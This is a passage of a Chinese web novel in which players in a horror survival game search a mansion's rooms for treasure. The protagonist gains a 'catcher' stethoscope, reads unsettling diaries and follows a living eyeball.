不变态的时候确实挺赏心悦目的，程朔默默地想。
“又过去一天，大家找到线索了吗？”吃完饭，泽恩抬眸看向所有人。
没人说话，事实上他们每个人都比泽恩还急，但是没任何办法。
根本没有线索。
这游戏有点稀里糊涂的，自然很难。
程朔尝试套路出点信息：“你给出的信息太少，如果多一些就能找到。”
泽恩微笑：“是吗？”
程朔被他笑得心里发毛，没吭声。
“我确实又想起一些。”泽恩面无表情地开口，“这栋别墅里居住的不止你们，所以找宝藏的时候，你们要学会与它们共存。不然会发生什么，我也无法确定。”
所有人沉默无言，算是默认他的话。
泽恩站起身：“那我就期待各位找出宝藏了。”
他抬脚往前走了两步，忽然弯下身。
温热的气息靠近，无聊扣桌边玩的程朔吓了一跳，身体下意识颤了下，还没远离，泽恩已经将手伸入他的口袋，拿出一张照片。
“伊索先生。”他靠近程朔耳边，薄唇微动，警告的话因语气过于柔和宠溺，像是在调情一般，“乱拿别人珍贵的东西可不太好。”
那张照片是珍贵的。
不知道是这句话，还是泽恩离得太近，呼吸洒在耳朵上，程朔耳根莫名发热。
他不自在地抬手捂着耳朵，避开泽恩。
泽恩站直身体，漫步离开。
他是什么时候知道照片在自己这里的？
程朔抬头，对上其他人看戏的表情没说话。
他当初觉得不安全特意把照片贴身放在口袋，早知如此，还不如放在房间。
沈脆迫不及待开口：“看来伊索和这别墅主人关系很好啊。”
不等程朔回答，他又咧嘴一笑：“是不是不该做的该做的都做了。”
意有所指的一句话让程朔送他一个大大的中指，以及一抹虚假到有些恶心的微笑。
“是啊，我和泽恩一直在讨论怎么处理嘴贱的人，讨论出的结果是弄死埋了。你要是不想做这个人，现在最好拿胶水把你的破嘴黏住。”
苏南没忍住笑出声，其他人也有些憋笑，只有沈脆脸上的笑挂不住，连那种刻意伪装出的瑟缩柔弱感都消失了。
“人也都少了，就开门见山吧。”询风忽然开口，“那个所谓的捕捉者我一直没见到，是被淘汰了，还是根本就不存在？”
对于这点，程朔也很好奇。
“不知道，对了，之前沈脆说他是捕捉者。”苏南想起什么，顿时开口。
沈脆假笑：“你都知道我是开玩笑的，这个时候还说出来干什么。”
“是吗？你当时说得那么认真，我还以为你就是呢。”苏南满脸不可思议，“原来是开玩笑啊。”
沈脆看起来是烦了，演都不想演了，恶狠狠地剜了他一眼。
“估计没有捕捉者。”李河山分析出声，“不然不可能这么久都没有人被淘汰。”
“能留到现在的谁没点厉害本事，装一下人设有什么难的。”王克之开口。
泽恩是离开了，但谢尔从一开始就静静站在一边，由于太安静，又是NPC，其他人也没特意避着。
程朔余光不知不觉落在他身上，注意到他脸上的表情有些奇怪，像是听得懂他们讨论的内容，理解他们的身份。
程朔一怔，脑海里不由自主闪过一个疑问：谢尔是NPC吗？
一直以来都是他认为的泽恩和谢尔是NPC，如果这两人不是呢？
那会是什么？和他们一样的玩家？应该不可能。
捕捉者倒是有点可能。
谢尔抬眸，注意到他正在看自己，掀唇一笑。
程朔及时收回视线，扣着桌边玩，大脑转个不停。
“随便了。”王克之挥挥手，有些急了，“反正还有机会，我接下来就随便找线索了。不大胆点，在这里一辈子也没用。”
“你别乱来。”李河山提醒道，“毕竟别墅里还有别的东西。”
“那就继续找线索吧。”苏南站起身，视线落在一直没说话的东为身上。
“你要和我们一起吗？”他主动发出邀请。
东为一顿，看向他点点头同意了。
“咱们直接进房间吧。”苏南对程朔说，“先把房间排除了，剩下的就好办了。不过主人说过不让进客人房间，得想办法。”
“可以。”程朔微微颔首。
“那你去牵制泽恩和谢尔，我们偷摸进别的房间。”苏南说。
程朔指了指自己，不解抬眸：“我？为什么？”
“这两人对你感兴趣啊。”苏南实话实说，拍拍他的肩膀，语重心长道，“相信自己的魅力，顺便再套套线索，这俩人肯定有没告诉我们的。”
程朔哭笑不得，非常想否认，对上两人期待的目光，忍住想说的话，只说：“我们先上去看看，万一
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他们都不在房间中呢。”
三人一前一后往楼上走去。
程朔怕碰到那两个人，越往上压力越大，让他意外的是真被他说中了，走廊里静悄悄的，路过每一间房间也十分安静，不像有人在里面。
“应该没人。”程朔低声开口，“前面的房间我知道住着人，先从后面开始。”
“那我下去拿东西。”苏南说，“我去扯一把椅子过来，不然砸不开。”
“用脚踹。”东为沉默片刻说。
几人来到最后一间房。
尽头的墙壁还是空的画框，不知道将来会放什么。
程朔尝试推门，无法推开，他示意两人往后退，蓄力之后用力踹向大门。
“砰”一声，门纹丝不动，程朔抱着闪着的腿，一脸痛苦，觉得小腿正在疯狂抽筋，抗议着他之前不自量力的行为。
苏南忍了半天才没笑出声，单手握拳放在唇边低咳两声：“那我来试试。”
程朔给他腾出位置，苏南咬牙踹向门，依旧没反应，反倒是他用力过猛闪到腰了。
两人一个抱着腿，一个捂着腰，唯一没事的东为看看他们，再看看门，做了一个正确的决定——下楼把椅子搬了上来。
椅子程朔坐的时候就感觉到椅子非常沉重，但东为好似感觉不到，双手举着椅子，就那么眼睛不眨一下地弄上来了。
他竖起大拇指。
“我来？”东为试探性开口。
“我们发出这么大的动静，都没人出来，我怀疑三楼是空的。”苏南突然说，“如果三楼是空的，他们那些人呢？”
这是个未解之谜，谁都不知道。
程朔接过椅子：“我来，你休息休息。你上来的时候其他人在干什么？”
“分散在一楼和二楼。”东为说。
程朔点头，后退远离大门，举起来椅子，重得他顿时“嘶”一声，不明白东为怎么抬上来的。
程朔用力砸下，第一下门终于有所晃动，却没有开，程朔又来一下，彻底没力气了。
东为见状直接拿起椅子，哐哐几下不带停的，程朔眼睛都忘记眨了，直到门“咯吱”一声开了。
“我们这样被发现了怎么办？毕竟破坏门进来的。”苏南有些担忧，瞥了程朔一眼，“到时候只能把你交出去抵罪了。”
程朔顿了顿：“到时候就说怀疑宝藏在这里。”
可惜他们这么费力开门，里面放着一些都是杂物，没什么值得注意的东西。
满地灰尘，动一下都有无数灰尘溅起，程朔翻找片刻，被刺激得喉咙发痒。
确定房间没线索，他挥挥手催促：“走吧，去下一间房。”
“动作要快点。”苏南想起什么，“这要是找到一半，那管家和主人突然出现多吓人。”
吓人的还不止两个，吓人的有四个。
程朔满脸微笑，没有把这个恐怖的事实说出来。
20.第二十章
第20章
三个人返回走廊，偷偷摸摸地举起椅子，砸开对面的门。
第二间房间无人居住，倒是比较干净，没什么东西。
程朔沿着墙壁敲了敲，确定没暗格，扭头看向身后。
苏南和东为已经把地板和床下等地方检查完，两人摊手摇头，表示什么都没找到。
“下一间。”程朔说。
四个人，六间房，下一间房里不知道住着谁。
一想到这，程朔有些说不出的紧张，站在门前第一反应是敲门试探里面有没有人在。
“你敲门干什么？”苏南不解地问，“这是管家或者是主人的房间？”
程朔放下手：“不是，我不知道管家住在哪里，敲门比较好，万一里面有人还能跑。”
“我觉得这个思想不对。”苏南努力把话说得理直气壮一些，“宝藏在别墅里，我们进房间找不是理所当然？不用怕，大胆冲。”
程朔认为他说得有理，举起椅子试图砸门。
旁边站着的东为先他一步推了下门，直接将门推开了。
举着椅子的程朔站在原地眨眨眼，放下椅子，再次冲东为竖起大拇指。
自己似乎是个废物。
程朔默默走进房间，心里吐槽着。
希望下个副本给他的壳子能耐打一些，他想试试一拳打飞八十个的爽感。
“有人住。”率先进去的东为低声开口。
房间非常整洁，摆放的东西很多，几乎都是一些复杂看不出怎么使用的小器械，擦拭得很亮，三人进去时都能看到里面的倒影。
里面放着一张桌、一张床、床头柜、书架，其他地方全被器械占满。
苏南对那些器械好奇，围绕着研究，东为注意力在书上。
“这里住的人好像是个医生。”东为看着书名说，“全是医学方面的书。”
程朔目光扫过那些书，随手打开床头柜抽屉。
里面放着一个黑银色的听诊器，上面还刻着两个字。
程朔拿起来才分辨出那是“森洛”二字。
森落这个神经病可能是个医生。
程朔诧异至极，翻转着听诊器打量着，不知道森洛为什么会把一个听诊器放在床头柜中。
许久没出现的蓝色提示框突然弹出提醒。
“恭喜您获得专属道具，觉醒您的身份——捕捉者。您可用此道具淘汰玩家，在确定玩家人设不符时可将听诊器放在对方胸口五秒，人设崩塌确定成功后玩家将被淘汰。”
自己竟然是捕捉者。
程朔愣住。
阳光从窗外洒进来，房间里更为明亮，站在窗边的青年手中拿着一个听诊器，一脸百思不得其解，仿佛看到了不可置信的东西。
苏南快步走过去拍了拍他的肩膀：“想什么？听诊器？有问题吗？”
程朔从使用方法中回过神，摇头笑道：“没，只是没想到会在这里看到这个。”
谁会让他把这东西放在胸口，恐怕这边刚放，那边就被人认作变态暴打一顿。
“还有人住在这里吗？”苏南注意到听诊器上面的名字，低声呢喃道，“我以为这就管家和主人呢。这个森洛是谁？”
他抬头看向程朔，好似程朔一定会知道这个答案。
程朔干笑两声，抬抬眼镜，正思考是说自己认识还是不认识时，苏南注意力又放在书架上。
“我去，全是解剖书，太瘆人了。”
程朔顺手将听诊器放进口袋里。
东西不大，口袋勉强可以放下看不出，程朔拍了拍，关上抽屉假装无事发生。
虽然这道具不一定能用得上，但好歹能保命。
要是沈脆那个神经病对他下手，程朔可以趁机用这个试试，看能不能淘汰沈脆。
能淘汰NPC就好了，他直接把四个变态淘汰掉，尽情在别墅里找宝藏。
“没线索啊，这边房间这么大，就没一个密室暗格吗？”苏南找过来，床底都来回敲完，极为失望地叹口气，“下个房间吧，照这样看，真要有线索也只可能在管家和主人那里。”
三人关上门，这次的门锁没被破坏，一关就锁上了。
程朔目光落在最后两扇被砸变形的门上，沉默了。
希望泽恩别来找他赔偿。
对面的房门上了锁，神奇的是钥匙就放在门缝下，像是特意为他们准备的。
程朔拿起钥匙打开。
里面不同于森洛，整个房间都被画摆满，地板上几乎没有可以下脚的地方。
画风温暖明亮，在阳光的照耀下看得人心情不由自主地放松下来。
房间里依旧空无一人。
这里应该是莱非的房间。
程朔快速越过那些画，翻找着柜子。
“这里还有画。”东为忽然开口。
程朔扭头，就见他从床底下拉出来五幅画，色彩风格和房间里完全不同，看着倒是和一楼阴暗风一样，都带着各样的眼睛，越看越让人头皮发麻。
“一楼的画难道是这房间的人画的？”苏南稀奇道。
“不太像。”东为指着其中一幅画说，“虽然色彩一致，但风格还是有很大区别，这个应该是在模仿楼下的画。”
“这是主人的房间吗？”苏南看向程朔询问。
这里也只有他进过主人泽恩的房间。
程朔摇头：“不是。”
“等下。”苏南想起什么，抓着五幅画兴奋道，“宝藏有五个，这个也有五个，难道这五幅画就
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是宝藏？”
东为沉默片刻：“这么简单地摆在床底下，会是吗？”
“但对上了啊。”苏南越说越激动，拿起来其中一幅画，等待着反应，“说不定就是这样。”
可惜，他拿着画许久也没有任何结果，只能失望地放下画：“白兴奋了。这游戏不按常理来，宝藏就不能也不按常理来吗。”
东为继续去其他地方寻找，掀开被子，注意到放在枕头旁的日记本。
“这里有本日记本。”
莱非的日记本？
程朔眼皮一跳，莫名想起了泽恩房间里看过的日记本，骤然回头大喊：“千万别打开！”
已经晚了。
东为打开日记，苏南凑了过去，两人听见大喊疑惑地看向程朔，目光很快落下去，看清日记本的内容后愣住。
看到两人怪异且欲言又止的脸色程朔就知道完了，日记本里肯定写了什么不该写的东西，其变态程度不比他当初看到的泽恩日记轻。
他面无表情转身，抬抬眼镜，快步往门外走去，想要离开这即将要让他社死的场地。
“伊索。”苏南叫出声，“你不来看看吗？”
程朔绷着背脊：“不看，没兴趣。”
“好吧。”苏南说，“这日记本上面写的都是对你告白的话语，我觉得你可以看看。”
要都是告白，还能接受。
程朔内心叹息，走过去接过日记本，然后看看日记本，看看苏南，匪夷所思：“这是告白话语？”
“不是吗？”苏南眨眨眼反问。
程朔只想重金求一双没看过的眼睛。
日记本上笔迹工整有力，好似故意留给人看的一样，每个字都写得十分清楚端正。
“好喜欢伊索，他要是眼里只有我一个人就好了。”
“为什么不能跟伊索一直在一起？”
“想摸摸伊索的脸，他好可爱。”
“不戴眼镜的伊索也好看，如果能把他关在房间里只让我一个人看就好了。”
“烦人，喜欢伊索的都该死。”
“……”
后面还有更多写了不能过审的话，程朔越看越头皮发麻，把本子合上还给两人：“不看了。”
看不出莱非这人面上纯真可爱，私底下也是个变态。
果然人不可貌相。
程朔默默在心里把莱非后缀的弟弟二字划掉。
东为忽然说：“他好像很喜欢你。”
程朔扯出一抹勉强的笑，实在装不出恶劣的表情，只能语气冷漠些：“他喜欢的可不是我。”
这些人喜欢的都是伊索，不是他。
等他走了，让原身伊索回来和这四个变态好好纠缠。
他实在是无福消受。
21.第二十一章
第21章
“你见过他？”东为听出他话中不对。
程朔惊讶她的敏锐，迅速找好理由：“通过字就能看出一个人的性格等。这种人的喜欢一看就不是正常的喜欢。”
三人没再说话，程朔碰了下口袋里的听诊器，再次觉得如果能淘汰NPC就好了。
苏南将日记本还回去后问：“还剩下两间房，我们先去哪一间？”
程朔走到门口瞥了眼泽恩的房间，决定先看看谢尔房。
“这间。”他迅速过去将耳朵贴在门上认真分辨，“没动静，估计没人，进去吧。”
“好，这次我来。”苏南拿着椅子，越说越兴奋。
程朔发现这游戏里的人其实都不太正常，甚至包括他自己。
他的强迫症偶尔会犯，比如说现在，看到苏南砸门的动作，脑子里平白无故冒出一句话：让苏南换个动作，不然你们都会被发现。
他浑身一个激灵，反射性抓住苏南：“你这个动作不好，往后蓄蓄力再开始。”
苏南不疑有他，后退两步用力砸下。
门开了。
程朔松口气，迅速进去找东西转移注意力，省得大脑又胡思乱想。
房间明亮干净，居住的人就像是有洁癖，无论哪个地方都清扫得一尘不染。
程朔站在房间中央，在干净到反光的地板上迈不开步伐。
这间房布置方面倒是和泽恩房间差不多。
程朔打量完开始翻找，愣是找不出一点有用的东西。
“这房间太干净了。”苏南挠头，“一点垃圾都没有，床上抽屉里也都是空的。”
程朔刚摸索完墙壁，顺便打开衣柜。
里面只有清一色的西装，没什么看头，他柜门都快关上了，余光瞥见一抹白，瞬间扶住柜门凑近那抹白。
西装口袋中放着一张照片，露出了一角，程朔眼皮一跳，有种不太好的预感，拿出一看，是之前他从泽恩房间拿走，又被泽恩取回去的那张照片。
这照片为什么会出现在谢尔衣服里？他背着泽恩偷偷拿来的？
程朔抿唇，在拿走照片和放回中选择了后者。
“终于有了。”苏南无奈道，“放在床头缝隙里，这也太谨慎小心了。”
程朔扭头，发现又是一本日记本，他已经麻木，这次不等苏南有动作就率先开口：“打开看看吧。”
出乎三人意料，里面没有那些表白尴尬的文字，只有一串看不出是什么的数字字母。
乍一看杂乱无章，仔细一看又好似有规律，三人凑在本子前看了半天都没看出什么。
1z3，x5，2z5，x3……
后面全是这种，看着像某种加密文字。
从第二页开始全是空白，只有最后一页写了伊索两个字。
程朔对这上面会出现伊索的名字不惊奇了，但他越看越觉得字迹眼熟，在哪里看过。
再翻回数字，熟悉感更为强烈，与泽恩的字迹非常相似。
苏南不信邪地翻看着，直到拿着被撕下来的页面给两人看：“这里被掉了几张纸。”
“有痕迹。”程朔盯着空白页，打开灯举到灯前。
他一眼认出那个字，是程，他的真实姓，眼皮倏然乱跳起来，一种恍惚怪异的感觉逐渐在他身体里蔓延。
自己的姓在这里出现，是巧合还是有意。
难道谢尔也是玩家传进来的，而且姓程？
但可能吗，他们这些玩家就只能是玩家身份，其他玩家能变成NPC？
这样的话人数也对不上。
程朔皱眉，实在想不通泽恩和谢尔的字为何一样，这里又为什么会有自己的姓。
“是什么？”见他一直保持着那个姿势发呆，苏南好奇地接过来，对着光瞅半天也没看出来，“一个字还是两个字？看不出，就这么一个字撕了这么多张纸？”
东为接过，看了两秒准确无误地报出：“是一个程字。”
“好吧。”苏南挠头，“一个程字搞得跟什么见不得人的秘密一样。也不知道这是谁的房间，可能是有姓程的人住在这里？”
“下一间吧。”东为提醒，“别在这里停留太久。”
苏南将日记本还回去，两人前后离开房间。
程朔思索不出结果，只能先出去。
看着泽恩房门，程朔眼皮不安跳了跳，莫名有种发怵感。
“怎么了？”苏南发觉他的不对劲，“这房间有问题吗？”
“我在想其他人都不在，会不会在这间房？”程朔略微纠结。
苏南快步凑近，趴在门上认真听了会儿，摇头道：“没声音，里面估计也没人。”
东为跟过去椅子听了听，摇头：“没声音。”
程朔下意识说：“这应该是主人泽恩的房间，我上次进去过，没什么线索。”
苏南听出话中意思：“上次没有，说不定这次有，游戏不都是这样随机刷新，所以还是再进去看看。”
他摸摸后脑勺，往后退，拿起椅子蓄力准备砸下去。
东为握住门把手，试了下：“不用砸。”
“卡擦”一声，门没有锁，直接打开。
程朔没站在门口，看不到房内场景，但注意到东为脸色在门开的一刹那变得极为奇怪。
随后凑过去的苏南也是，表情僵硬，似是看到了什么不该看的。
程朔挑眉，对里面有什么生出几分好奇，缓缓走过去，停在门口抬头往里看的瞬间就后悔了。
房内昏暗无光，依稀可以分辨出桌前站着四个人。
风吹起窗帘，阳光从外面跳跃进来，程朔看清了四人的模样。
泽恩坐在桌前，双手交叉撑在下巴处，姿势优雅矜贵，无可挑剔的脸上没有多少情绪，显得有些凉薄。
他在看程朔。
对上那双泛红的眼睛，程朔整个人仿佛被定在原地，无法动弹，思绪都变得空白。
站在泽恩对面的是谢尔，依旧是那身黑色西装，微侧身，不同于平时的温柔有礼，此刻的他面无表情，眉眼微压，看上去极为不好接触。
但却在看到程朔后露出了笑意，那种疏离感消散，恢复成了往日的正常模样。
站在右侧的莱非和森洛脸色都不怎么好看，还能看到森洛眼里压抑着的愤怒，似对什么生气。
莱非挤出一抹笑，抬手对着程朔所在的方向挥动，算是打招呼。
四个人，四双眼睛，全盯着这边，眼神中透露的寒意着实算不上友善。
程朔甚至都能确定，这四个人全在看自己，甚至有种世界上就只剩下他们和自己的错觉。
他几乎是硬着头皮站在原地，僵着背脊没有回避这四人的目光
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怎么那么像修罗场……
空气静默到像是不存在，四周氛围诡异到压迫感十足，连呼吸都不被允许。
程朔不由自主地放缓呼吸，察觉到在打开这扇门之前，这四个人应该是爆发争吵后陷入了长久的沉默。
该不会是为了伊索吧。
按照这四个人的变态，极有可能。
程朔动作非常不自然地抬抬眼镜，伸手去拉门，想关上房门，假装无事发生。
“伊索。”死寂之中，坐在桌前的泽恩歪着脑袋，唇角露出柔和的笑意，发出危险的邀请，“你不进来坐坐吗？”
这话导致程朔再次偏头看去。
风早就停了，窗帘紧贴窗户，房间里密不透光，只有走廊微弱的灯光洒进来。
房间外明亮温暖，房间内黑暗无光。
他才不会踏入这看着就吓人窒息的地方。
脑子不断提醒着眼前之地的危险，程朔抓住门把手，匆忙留下一句“不用”，用力关上门，急躁到连表情管理都懒得做了。
房门关上，正常的天地重新回来，程朔和身侧两人几乎是同一时间舒出一口气。
“我滴个乖乖。”苏南擦掉额头上的冷汗，清清嗓子才重新找回自己的声音，“什么情况？这三楼除了管家和主人住，竟然还有两个男人。”
东为沉默两秒：“这房间放弃吗？”
“只能放弃。”程朔背脊终于得以松懈，“里面四个人，就算进去了也找不了东西。而且我之前逛过，确实没线索。”
“你认识那两个人吗？”苏南反应过来，“我看他们好像认识你一样。”
“四个人全在盯着你看。”东为比苏南反应快多了。
程朔敷衍笑笑：“不知道，可能认识吧，那两个人要是一直住在三楼，肯定都知道我们这些玩家。”
“当下最重要的就是赶紧弄清楚宝藏是什么，不然真的毫无头绪。”苏南背脊抵着墙，不断叹气，“我真的不想玩这个游戏，要是能自由退出就好了。”
没有人说话，走廊陷入寂静。
程朔想起昨晚的事，沉吟道：“宝藏说不定是画，或者是画册，再或者都不是。我倾向于是画。”
别墅里画太多，苏南和东为也倾向于这个猜测。
苏南抓耳挠腮，十分焦虑：“不然我们把NPC绑起来问问？你们看过小说吗？小说里就这么写的，什么找线索过关，都没痛扁NPC一顿来答案快。”
或许是之前四人给的压迫感太重，以至于程朔脑袋到现在还处于宕机状态，他竟然觉得这个办法真的可以。
脑海里蓦然浮现泽恩那张似笑非笑的脸，程朔双肩一抖，那种犹如被毒蛇盯上，透入骨髓的寒意让他下意识摇头拒绝。
“太危险，而且我们没办法判断说得真假。”
就像昨晚森洛和莱非说的话，他也没办法确定。
“这里可不是小说。”东为平静道，“说不定你在绑架的时候，NPC先把你绑了。”
“天呐。”苏南仰头盯着天花板，无可奈何，“这种哑谜一样的游戏得猜到什么时候。”
他忽然愣住，表情仿佛被冻凝固住般，张大的嘴角许久没有动静。
东为顺着他的目光一同看去，表情微怔，喊出声：“伊索，抬头。”
程朔反射性抬头看向天花板。
22.第二十二章
第22章
走廊天花板他们一直没去关注，太高了，再加上墙壁上挂着的画就足够吸引目光，一般还真没人特意仰头去观察天花板。
以至于这么久三人都没发现，走廊天花板上全是各种不同的眼睛。
密密麻麻，让人心里发怵，浑身不自在，不停起鸡皮疙瘩，甚至看得久了还有一种正在眨动的错觉，无比邪门。
苏南瞳孔地震：“这玩意一直都有吗？我一直没注意，刚仰头发现吓呆了。”
“二楼和一楼天花板是正常的，这里太高，还真没人注意到。”程朔呢喃道。
眼睛大多都是红黑色，看久了实在压抑，程朔心脏怦怦乱跳，恍惚感让他有种脱离此处空间的错觉，身体不自主晃悠了两下，失重感让他瞬间回神，站直身体不再去看。
“走吧。”苏南搓搓手臂，“我在这里待不下去了，磁场与我不和。逛这么久都没线索，去下面看看他们怎么样了。”
程朔没说话，跟在他身后往楼下走去，东为最后一个离开。
王克之已经把一楼彻底翻找完，连地毯都没有放过，头顶的吊灯也被他仔细研究了半小时。
三人下去的时候，他正趴在窗户前，想通过窗户唯一的缝隙看看外面的情况。
听见动静，王克之没回头，继续撅着屁股试图看到点什么：“沈脆和询风在二楼找线索，我和李河山在这。”
程朔挑眉。
他们下来的时候二楼走廊是空的，没任何动静，要是沈脆两人真在二楼，要么在自己房间，要么在他人房间。
费劲半天，一点都看不到，王克之放弃了，站直身体揉着脑袋说：“窗户打不开，门从外面锁住了，我现在怀疑这个别墅就是个障眼法，宝藏估计在外面，就是没办法从这里出去。”
“不可能在外面。”苏南反驳，“场地就这么大，本来线索就够模糊了，要是藏在外面，只能说这游戏压根没想让我们通关。”
“我也觉得不会在外面。”李河山从楼梯后走出来，拍拍手，“这一楼没有地下室，这点可以彻底排除了。”
程朔目光一直在二楼，确定毫无动静后飞快往楼上走去，刚好撞见沈脆推开了自己房间的门。
他几步上前，面无表情地拉住门把手关上门，没说话，就那么看着沈脆。
沈脆后退两步，一点都没有被发现的心虚，反而理直气壮地开口：“你们都去三楼了，我就来二楼检查。其他房间都看过了，没线索，没暗室，现在就剩下你的房间了。”
“进我房间，经过我的允许了吗？”程朔松开握着门把的手，他明明没有沈脆高，看人时却有一种居高临下的冰冷感。
沈脆扬眉一笑：“只是找线索，再找不到线索，时间一到大家都玩完。这种时候还要什么允许？难不成你房间有什么见不得人的东西吗？”
他目光越过程朔，落在门上，调笑上瘾，眼神逐渐变得轻佻肆意起来：“看你这样子，我还真好奇你房间有什么了。”
“房间是给人进的。”面对他的调笑，程朔反而笑了，“你是吗？”
简单一句话，沈脆脸上的笑容僵住，直接破防，皱眉不悦道：“你什么意思？”
“骂你不是人。”站在一边的苏南立刻举手，好心解释道，“你也不打招呼偷摸进我房间了？”
“怎么，你们去三楼不也进别人房间了吗？有经过允许？”沈脆闻言皮笑肉不笑地嘲讽道。
“NPC跟玩家一样吗？”苏南翻着白眼，完全不落入他的话中陷阱，“询风呢？”
“来了。”不远处的房门被拉开，询风从自己的房间走出，关门的时候开口，“我房间找完了，没有有用的线索，沈脆呢？找完自己房间了吗？”
“他早就找完了，顺带把所有人的房间都找过来了。”苏南冷漠道。
倒不是不让人进去找，但沈脆是个例外，谁知道这人肚子里又在酝酿什么黑水。
询风一愣：“我们只说找完各自房间出来和你们商量，一起找其他人的房间。”
沈脆丝毫不觉得有什么，只笑不语，还故意看向程朔，挑衅般嘴角一点点上扬。
程朔想拿口袋里的听诊器抽他脸上。
太欠扁了，这人就跟个抖M一样，越理他越高兴。
“那就再一起检查一遍房间吧。”询风提议道。
没有人说话，全都默认了。
程朔住在第一间，很自然地打开门，率先走了进去。
“这下说开门就开了。”沈脆迫不及待地进来，一眼发现上下床，“你房间为什么是个上下床？”
程朔没理他，苏南怼出声：“这么好奇你去问游戏设定。人伊索脸上还有眼镜呢，你咋没有？你现在是不怕捕捉者了，装都不装一下。”
沈脆笑容一凝，看起来完全忘记了捕捉者这回事，勉强冷笑道：“根本就没有捕捉者。”
“那可不一定。”程朔拿下眼镜擦拭着，“说不定没多久你就被捕捉者淘汰了。”
沈脆没吭声，脸色一直在变化，像个调色盘一样精彩万分。
他总算安静了。
程朔重新戴上眼镜。
一行人分散在房间每个地方敲敲打打，确定没问题后离开，进入苏南房间。
房门没有锁，进被淘汰的玩家房间很容易。
程朔翻被子的时候，沈脆站在他身后，似不经意间开口：“早知道第一个进你房间了，到时候你回来我还能给你一个惊喜。”
程朔抓被子的动作一顿。
弯腰的青年背对着沈脆，微低着头，看不清脸上的表情，只能看到有些瘦弱的背脊和白净引人注目的侧脸。
见他沉默，沈脆弯腰靠近，看见青年用手抬了抬眼镜，随后唇角略微扬起。
下一秒，沈脆眼前一黑，脑袋和上半身被柔软的薄被裹住，呼吸变得困难，他各种挣扎。
然而没多久，重力疯狂从头顶袭来，一下一下，打得他踉跄不稳，差点倒地。
程朔用枕头用力砸了几十下才停下动作，随手抚平枕头上的褶皱，放回原位。
他理好衣服，将凌乱的头发弄好，无事发生般同其他人走出房间。
爽，早知道早点动手了。
其他玩家对这一幕没反应，苏南和东为默默为程朔竖起大拇指称赞。
等所有人进入下个房间，快要窒息的沈脆才挣脱被子，无能狂吼。
“好吵。”苏南掏掏耳朵，越发受不了沈脆，“这副本要是过了，希望下个副本不要再有这种不正常的人了。”
房门被踹开，沈脆满脸狼狈地走进来，目光喷火。
程朔站直身体，打量了下他的瘦弱身板，又看看自己，在心中比较着他们要是打起来谁能赢。
肯定是自己，毕竟他还有个听诊器，沈脆再不知好歹，他会努力把这人淘汰掉。
想到这里，程朔眼底冰寒一片，再无任何温度。
沈脆注意到他的情绪转变，看一眼找线索的其他人，嚣张的焰火逐渐熄灭，理好头发和衣服，轻飘飘开口：“这次不跟你计较，下次不能这么对我了。”
无人理他，其他玩家都默认把他当成透明人了。
沈脆并不在意，只说：“这里我都找过了，真没线索。”
“这里有问题。”李河山半跪在桌旁的地板上，一只手抬起桌腿，另一只手贴在原本桌腿压着的地板上，“底下是空的。”
沈脆丝毫不在乎自己被迅速打脸，只好奇是不是真的有之前忽略的线索，第一时间冲过去敲了敲，没想到底下还真是空的。
“砸开。”沈脆说，不等其他人回答，直接拉起旁边的椅子砸下去。
李河山差点避之不及，椅子腿刚好擦过他的脚边，差一点就砸中他的脚。
沈脆满心都是地板下空间可能藏着东西，生怕别人跟他抢，拉开李河山，扒拉开木地板。
地板下有个一平米的空间，里面放着一个宝箱。
看到箱子的刹那，王克之和沈脆同一时间伸手去抢。
沈脆先王克之一步，将他狠狠撞开。
王克之完全没料到会被撞，差点没站稳，等回过神时沈脆已经抱着箱子躲到远处了。
“这肯定是宝藏。”他笑得合不拢嘴，用力抱紧箱子，警惕着其他人。
“真是不要脸。”王克之骂骂咧咧，“这是你发现的吗？你就抢走？这是人家李河山发现的，怎么说也要让人家李河山先看看吧。”
“谁有本事拿到就是谁的。”沈脆完全不在意他的话，只想赶紧离开这个副本。
箱子上面挂着一个打开的锁，沈脆拿下，迫不及待地打开箱子，傻眼了。
见状，王克之飞快跑过来，看清箱子里的东西顿时嘲笑起来。
“这就是宝藏？哈哈哈，我不要了，你留着吧。”
一直默默观察的几人见沈脆一直没反应，才走到箱子旁。
程朔瞥了一眼。
不大的箱子内部放着一颗眼珠子，还很眼熟，他想起在异空间需要被送入画中的眼球。
好像就是那一颗，怎么会出现在这里？
眼珠倏然开始转动，围绕在箱子旁的几人顿时散开。
“活的。”苏南说，“我还以为死的。”
眼珠疯狂撞击着箱子，似乎是生气了，动作大到箱身都在颤动。
沈脆万万没想到是这个玩意，反应过来抓着箱子恨不得当场摔碎。
他面色阴沉地盯着跳动的眼珠子，抬手去抓，准备捏碎。
眼珠骤然蹦起，撞在他的脸上，借力跳下，在地板上一蹦一跳地出了房间。
程朔迅速跟上，其他人见状也纷纷跟过去。
原地只剩下一手拿着箱子，一手捂着被撞的发疼鼻子的沈脆。
他勃然大怒，那张先前看起来柔弱畏缩的脸此刻扭曲
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狰狞，猛地抬起箱子用力砸在地上，用脚不停地踹着，呼吸沉重，满目怨恨。
……
几人一路跟着眼珠来到了大厅，停在了那副飞鸟图前不动了。
“怎么回事？”询风趴在画前仔细打量，“画中眼珠不见了，之前还在里面。”
“难不成这画里有异空间？这眼珠可以自由出来？”苏南敲了敲画，“但是没办法回去？”
“估计是这样。”程朔伸手捏住眼珠，触感太过奇怪，湿滑冰凉，像是在捏着一快融化后又被冰冻住的糖，那种滑腻感太让人不适。
他立刻将眼珠贴在画上，不过眨眼，眼球消失不见，而画中原本空缺眼球的地方立刻出现那颗眼球。
“真是这样。”苏南惊喜道。
“其他画的眼球也不见了。”东为打量完所有画说。
“要找吗？”李河山问，“说不定能从这里面找到线索。异空间是找眼球，这里也要。”
程朔点头：“先找找，目前没有其他线索。”
“要找你们找。”沈脆从楼上下来，不耐烦道，“本来找线索时间就不够了，还找眼球送回画里，又不确定有线索，万一触发危险更是浪费时间。你们有耐心你们找，我不找。”
王克之瞥了他一眼，举手说：“我也觉得没必要找，都是猜测。”
除了他们，其他人都同意。
“或许有线索。”李河山说，“这里和异空间有关联。”
“就是，你们想偷懒不想找就直说。”苏南皱眉。
“谁跟你们一样闲情雅致，没一点紧迫感。”沈脆眼神蔑视，语气中带刺，“别墅还没找完又开始找眼睛。”
他说完转身往三楼走去，王克之短暂犹豫后跟上了沈脆。
“神经。”苏南嘀咕道，“之前两人还差点大打出手，现在竟然还能一起找线索？”
“多个人多份力。”程朔目光略过剩下没眼珠的画，还能记清楚每幅画里的眼珠子是什么模样，“那我们也分开找找吧。”
“好。”
有过异空间找眼珠的经历，在别墅里寻找简单多了，几人全往不容易发现的地方找去，等到中午已经找齐一半。
